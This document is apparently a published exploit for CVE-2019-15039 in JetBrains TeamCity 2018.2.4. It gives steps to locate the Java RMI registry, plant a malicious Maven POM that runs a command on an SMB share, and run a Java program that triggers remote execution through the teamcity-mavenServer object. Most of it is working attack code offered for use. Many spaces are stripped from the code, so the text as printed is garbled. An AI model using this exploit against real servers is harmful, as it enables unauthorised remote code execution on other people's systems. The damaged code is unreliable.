# ExploitTitle:JetBrainsTeamCity2018.2.4-RemoteCodeExecution
# Date:2020-01-07
# ExploitAuthor:HarrisonNeal
# VendorHomepage: https://www.jetbrains.com/
# SoftwareLink: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
# Version:2018.2.4forWindows
# CVE:CVE-2019-15039
# You'll need a few .jars from a copy of TeamCitytocompile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java
# InstructionsforWindows(easier case):
# 1)Verify exploitability.
#1a)Verify the remote host is running Windows, e.g. checking for common
#running services and their versions.
#1b)DiscoverJavaRMI services on the remote host, e.g. doing a 65k port
#scan using nmap and the rmi-dumpregistry script. On one port, there
#should be a registry withan object named teamcity-mavenServer. This
#object should point toa second openport that is also identified as
#JavaRMI.
# 2)Prepare the payload.
#2a)There needs tobe an SMB share that the TeamCity software can read from
#and that you can write to. You might establish a share on your own
#system and make it accessible toanonymoususers. Alternatively,if the
#TeamCity server is domain-joined, you might find a pre-existing share
#elsewhere in the domain.
#2b)Place a malicious POM in that share, e.g.<project><modelVersion>4.0.0</modelVersion><groupId>com.mycompany.app</groupId><artifactId>my-module</artifactId><version>1</version><build><plugins><plugin><groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId><version>1.1.1</version><executions><execution><goals><goal>exec</goal></goals></execution></executions><configuration><executable>calc</executable><arguments><argument>-testarg</argument></arguments></configuration></plugin></plugins></build></project>
# 3)Runthis exploit.
#Argument #1:TeamCity host (IP or FQDN)
#Argument #2:Port of RMIRegistry(the first openport described above)
#Argument #3:UNC path tothe malicious POM file (e.g., \\ip\share\pom.xml)
#Argument #4:POM goal (e.g., exec:exec)
# NOTE:It is possible toexploitthis issue in other situations, e.g.if the
# TeamCity server is running on a *nix system that allows access tosome local
# directory over NFS.*/packagecom.whatdidibreak.teamcity_expl;importjava.io.File;importjava.io.IOException;importjava.net.InetSocketAddress;importjava.net.ServerSocket;importjava.net.Socket;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;importjava.rmi.server.RMISocketFactory;importjava.util.ArrayList;importjava.util.List;importjetbrains.buildServer.maven.remote.MavenServer;importjetbrains.buildServer.maven.remote.RemoteEmbedder;importorg.jetbrains.maven.embedder.MavenEmbedderSettings;importorg.jetbrains.maven.embedder.MavenExecutionResult;publicclassMain{publicstaticvoidmain(String[] args)throwsThrowable{String host = args[0];int port =Integer.parseInt(args[1]);String pomPath = args[2];String goal = args[3];// The exported object may point to a different host than what we're// using to connect to the registry, which could break things, i.e.,// - localhost// - for a multi-homed target, an IP we can't connect to// - a FQDN or hostname we can't resolve// - etc.// For this reason, we'll set up a socket factory that forces all// connections to go to the host specified by the user, ignoring the// host pointed to by the exported object.OverrideHostSocketFactory sf =newOverrideHostSocketFactory(host);RMISocketFactory.setSocketFactory(sf);// The rest of the code in this method should look fairly typical for// interacting with remote objects using RMI.Registry r =LocateRegistry.getRegistry(host, port, sf);MavenServer ms =(MavenServer) r.lookup("teamcity-mavenServer");MavenEmbedderSettings mes =newMavenEmbedderSettings();RemoteEmbedder re = ms.exportEmbedder(mes);File f =newFile(pomPath);List ap =newArrayList();List g =newArrayList();
g.add(goal);MavenExecutionResult mer = re.execute(f, ap, g);}privatestaticclassOverrideHostSocketFactoryextendsRMISocketFactory{privateString targetHost;publicOverrideHostSocketFactory(String targetHost){this.targetHost = targetHost;}@OverridepublicSocketcreateSocket(String host,int port)throwsIOException{Socket toReturn =newSocket();
toReturn.connect(newInetSocketAddress(targetHost, port));return toReturn;}@OverridepublicServerSocketcreateServerSocket(int port)throwsIOException{thrownewUnsupportedOperationException("Not supported yet.");}}}